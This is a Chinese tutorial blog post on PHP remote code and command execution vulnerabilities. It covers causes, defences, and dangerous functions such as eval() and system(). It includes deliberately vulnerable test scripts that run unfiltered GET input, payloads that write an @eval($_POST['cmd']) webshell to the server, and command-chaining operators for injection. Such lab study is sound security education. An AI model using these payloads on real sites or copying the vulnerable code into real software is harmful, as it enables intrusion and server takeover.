第30天:RCE代码和命令执行漏洞

RCE为远程代码/命令执行的漏洞

漏洞产生的原因:

在Web应用中开发者为了灵活性,简洁性等会让应用去调用代码或者系统命令执行函数去处理。同时没有考虑用户是否可以控制这些函数的参数问题(若不能控制这些参数,自然也没有这个漏洞;若能控制这些参数,也可能出现考虑了但没有完全防住或者压根没考虑 ),以至于这个漏洞的产生。

在这里插入图片描述

产生原因

漏洞函数
可控参数

防护方法
  • 敏感函数禁止
    禁止不使用的函数,能禁止就禁止,不行就变量过滤或者固定。
  • 变量过滤或者固定
    固定比起过滤要好,变量实在太多了,容易被绕过。
  • WAF产品

代码执行

PHP代码执行函数:eval()assert()preg_replace()create_function()array_map()call_user_func()call_user_func_array()array_filter()uasort()

 1. 若代码执行函数的输入参数被``反引号包含时,则此时相当于系统执行函数, 如输入值为echo `dir`;
 2. 由反引号括起来的字符串被当做shell命令执行,其标准输出结果取代整个反引号部分。
 3. 反引号不区分操作系统,无论Window还是Linux都有这个现象。

eval()函数

eval() 函数把字符串按照 PHP 代码来计算,一般情况下不建议使用容易被黑客利用。

在windows服务器中创建test.php文件,代码如下

<?php
        $code=$_GET['x'];
        echo $code;
        echo "</br>";
        eval($code);
?>

访问test.php,将phpinfo();传给参数x
在这里插入图片描述

输入echo 'dir';,未用反应号包裹dir,并不会打印文件路径,而是直接输出了dir
在这里插入图片描述

输入echo `dir`,成功打印出文件路径

在这里插入图片描述
写入一句话木马x=$file=fopen("x.php","w") or die("false"); fwrite($file, "<?php @eval(\$_POST['cmd']);?>"); fclose($file);
在这里插入图片描述

写入成功,后续使用工具连接即可
在这里插入图片描述

命令执行

system()函数

system()是一个和操作系统紧密相关的函数,用户可以使用它在自己的程序中调用系统提供的各种命令

在windows服务器中创建test.php文件,代码如下

<?php
      $code=$_GET['x'];
      system($code);
?>

访问test.php,传入参数值x=dir,成功打印文件路径
在这里插入图片描述

写入一句话木马echo ^<?php @eval($_POST['cmd']);?^> > x.php

其中 ^ 的作用是转义 <

在这里插入图片描述

查看123.php文件内容,windows的查看命令是type,linux是cat
在这里插入图片描述

命令执行绕过

参考文章:
https://www.cnblogs.com/sfsec/p/15192819.html
https://www.cnblogs.com/pursue-security/p/15291426.html
https://blog.csdn.net/weixin_46962006/article/details/121828362

常见管道符

windows
  1. " | " 直接执行后面的语句(前面的语句是错是对无关紧要)

在这里插入图片描述
在这里插入图片描述

  1. " || " 如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。

在这里插入图片描述
在这里插入图片描述

  1. " & " 两条命令都执行,前面的语句可真可假

在这里插入图片描述
在这里插入图片描述

  1. " && " 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真

在这里插入图片描述

在这里插入图片描述

Linux
  1. " ; " 执行完前面的语句再执行后面的语句
    在这里插入图片描述

  2. " | " 显示后面语句的执行结果(前面的语句无论对错)
    在这里插入图片描述

在这里插入图片描述

  1. " || " 当前面的语句执行出错时,执行后面的语句

在这里插入图片描述
在这里插入图片描述

  1. " & " 两条命令都执行,前面的语句可真可假

在这里插入图片描述

  1. " && " 前面的语句为真才能执行两条命令,否则都不执行

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值